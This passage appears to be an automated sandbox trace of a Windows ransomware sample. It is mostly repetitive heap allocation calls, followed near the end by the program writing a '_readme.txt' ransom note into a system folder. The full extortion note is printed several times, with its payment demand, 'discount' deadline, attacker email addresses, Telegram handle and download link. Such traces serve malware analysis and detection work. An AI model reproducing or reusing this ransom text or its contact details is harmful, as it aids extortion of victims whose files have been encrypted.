[0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.255] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.255] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.255] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.255] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.255] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.255] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.255] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.255] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.255] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.255] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.255] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.255] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.255] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.255] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0059.255] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.255] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.255] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.255] PathFindFileNameW (pszPath="") returned="" [0059.255] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.256] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.256] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.256] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.256] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.256] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.256] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.256] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0059.256] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.256] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.256] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0059.256] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.256] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.256] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.256] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.256] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.257] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.257] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 